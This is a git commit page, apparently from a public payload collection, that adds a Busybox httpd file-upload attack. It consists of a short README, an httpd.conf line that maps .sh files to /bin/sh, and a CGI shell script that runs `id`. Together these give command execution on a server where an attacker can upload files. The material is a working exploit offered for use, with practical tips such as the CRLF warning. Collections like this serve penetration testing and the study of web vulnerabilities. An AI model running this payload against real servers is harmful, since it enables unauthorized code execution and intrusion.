Merge pull request #32 from Meatballs1/Meatballs1-patch-1

Busybox httpd.conf file upload payload
This commit is contained in:
Swissky 2018-12-14 10:25:04 +03:00 committed by GitHub
commit 8403068681
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
3 changed files with 15 additions and 0 deletions

View File

@ -0,0 +1,11 @@
If you have upload access to a non /cgi-bin folder - upload a httpd.conf and configure your own interpreter.
Details from Busybox httpd.c
https://github.com/brgl/busybox/blob/abbf17abccbf832365d9acf1c280369ba7d5f8b2/networking/httpd.c#L60
> *.php:/path/php # run xxx.php through an interpreter`
> If a sub directory contains config file, it is parsed and merged with any existing settings as if it was appended to the original configuration.
Watch out for Windows CRLF line endings messing up your payload (you will just get 404 errors) - you cant see these in Burp :)

View File

@ -0,0 +1 @@
*.sh:/bin/sh

View File

@ -0,0 +1,3 @@
echo "Content-type: text/html"
echo ""
echo `id`